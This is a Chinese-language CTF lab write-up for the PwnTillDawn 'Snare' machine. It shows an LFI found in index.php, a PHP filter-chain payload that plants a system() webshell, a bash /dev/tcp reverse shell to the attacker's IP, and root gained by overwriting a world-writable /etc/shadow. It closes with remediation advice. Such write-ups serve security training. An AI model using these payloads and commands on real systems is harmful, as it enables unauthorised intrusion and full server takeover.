4 min read

PwnTillDawn — Snare (10.150.150.18) Writeup

PwnTillDawn — Snare (10.150.150.18) Writeup
平台PwnTillDawn Online Battlefield by wizlynx group
難度:Easy
作業系統:Linux (Ubuntu 20.04)

0x00 偵察

Port Scan

使用 RustScan 快速掃描全 port,再接 nmap 細掃:

rustscan -a 10.150.150.18 -b 1000 -- -sC -sV

結果只開了兩個 port:

Port Service Version
22 SSH OpenSSH 8.2p1 Ubuntu
80 HTTP Apache 2.4.41 (Ubuntu)

nmap 的 NSE script 抓到 HTTP title 做了重導向:

http-title: Welcome to my homepage!
Requested resource was /index.php?page=home

index.php?page=home 這個 URL pattern 非常可疑,page 參數很可能存在 Local File Inclusion (LFI) 漏洞。

0x01 Web 枚舉

目錄掃描

feroxbuster -u http://10.150.150.18/index.php?page= -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5

發現關鍵路徑:

  • /includes/ — 目錄可列舉
  • /includes/a_config.php — 回應 0 bytes(有 PHP 邏輯但無 HTML 輸出)
  • /includes/navigation.phpfooter.phphead-tag-contents.php 等模板檔案

0x02 LFI 確認與原始碼洩漏

基本 LFI 測試

直接嘗試路徑穿越讀取 /etc/passwd

curl "http://10.150.150.18/index.php?page=../../../etc/passwd"

失敗,頁面正常回應但無檔案內容。

PHP Filter 讀取原始碼

使用 php://filter wrapper 將 PHP 原始碼 base64 編碼後輸出:

curl "http://10.150.150.18/index.php?page=php://filter/convert.base64-encode/resource=index"

成功!解碼後取得 index.php 原始碼:

<?php include("includes/a_config.php");?>
<!DOCTYPE html>
<html>
<head>
    <?php include("includes/head-tag-contents.php");?>
</head>
<body>
<?php include("includes/design-top.php");?>
<?php include("includes/navigation.php");?>

<div class="container" id="main-content">
<?php
if (empty($_GET)) {
    header('Location: /index.php?page=home');
} 
else {
    $page = $_GET['page'];
    include ($page. '.php');
}
?>
</div>
<?php include("includes/footer.php");?>
</body>
</html>

關鍵發現:

$page = $_GET['page'];
include ($page. '.php');

使用者輸入的 page 參數完全沒有任何過濾,直接串接 .php 後綴後傳入 include(),這就是為什麼直接讀 /etc/passwd 會失敗——因為實際上嘗試 include 的是 /etc/passwd.php

0x03 PHP Filter Chain RCE

為什麼傳統手法失敗

  • 路徑穿越 + /etc/passwd.php 後綴導致路徑不存在
  • data:// wrapper:需要 allow_url_include=On(預設 Off)
  • pearcmd.php trick:目標未安裝 PEAR

PHP Filter Chain Generator

2022 年 Synacktiv 發表了一個突破性技巧:透過串接大量 PHP iconv filter,可以從 php://temp(空資源)中「憑空」產生任意 PHP 程式碼,這個技巧:

  • 不需要 allow_url_include
  • 不需要 伺服器上存在特定檔案
  • 不受 .php 後綴影響(因為 resource 是 php://temp

使用 php_filter_chain_generator 生成 payload:

git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

工具生成了一段超長的 php://filter/... chain,將其作為 page 參數的值,並附加 &c=id 測試:

curl --globoff -o - "http://10.150.150.18/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...<省略>...|convert.base64-decode/resource=php://temp&c=id" 2>/dev/null

回應中出現:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE 達成!

0x04 Reverse Shell

在攻擊機上開啟 listener:(Windows power shell)

ncat -lvnp 4444

透過 PHP Filter Chain RCE 送 reverse shell(需 URL encode):

curl --globoff -s -o /dev/null "http://10.150.150.18/index.php?page=<FILTER_CHAIN>&c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"

成功接到 shell:

www-data@snare:/var/www/html$

0x05 FLAG1

www-data@snare:/$ ls /home/
snare

www-data@snare:/$ cat /home/snare/FLAG1.txt
Redacted

FLAG1:Redacted

0x06 提權至 Root

枚舉

www-data@snare:/$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20  2020 /etc/shadow

/etc/shadow 的權限是 777——所有使用者都可以讀寫!這是一個嚴重的檔案權限配置錯誤。

覆寫 Root 密碼

生成新的密碼 hash:

openssl passwd -6 -salt xyz hacked123
# $6$xyz$83/UloSNcxbQq8O5DCPtPfZp...

由於 sed -i 需要在 /etc/ 建立暫存檔(www-data 對目錄沒有寫入權限),改用 cp 搭配 /tmp/ 中轉:

cp /etc/shadow /tmp/shadow.bak

sed 's|^root:[^:]*|root:$6$xyz$83/UloSNcxbQq8O5DCPtPfZp.37csnrtPIYRGAZaLwzNy/thRXazOTqB21HCfGVkBJxB.Nm/JLV8UdIw0KGOB.|' /tmp/shadow.bak > /tmp/shadow.new

cp /tmp/shadow.new /etc/shadow

su root
# 密碼: hacked123
root@snare:~# whoami
root

FLAG2

root@snare:~# cat /root/FLAG2.txt
Redacted

FLAG2:Redacted

0x07 攻擊鏈總結

Web 偵察 → LFI (index.php?page=) 
    → PHP Filter 原始碼洩漏 
    → PHP Filter Chain RCE (Synacktiv) 
    → Reverse Shell (www-data) 
    → /etc/shadow 777 可寫 
    → 覆寫 Root 密碼 
    → Root!

漏洞清單

# 漏洞 嚴重性 說明
1 Local File Inclusion High include($_GET['page'] . '.php') 無任何過濾
2 PHP Filter Chain RCE Critical 透過 iconv filter chain 從 LFI 達成 RCE
3 /etc/shadow 權限錯誤 Critical 777 權限允許任意使用者讀寫

修補建議

  1. LFI:使用白名單驗證 page 參數,例如 in_array($page, ['home', 'about', 'contact'])
  2. PHP Filter Chain:禁用不必要的 PHP wrapper(php://filter),或在 php.ini 中限制可用的 stream wrapper
  3. 檔案權限/etc/shadow 應設為 640-rw-r-----),僅 root 和 shadow 群組可讀

經驗分享

0x06:

這一步其實試了很多提權方法,甚至發現/etc/shadow可以讀,有嘗試本地破解密碼,但是失敗,結果竟然發現可以"寫",所以就用替換密碼的方法。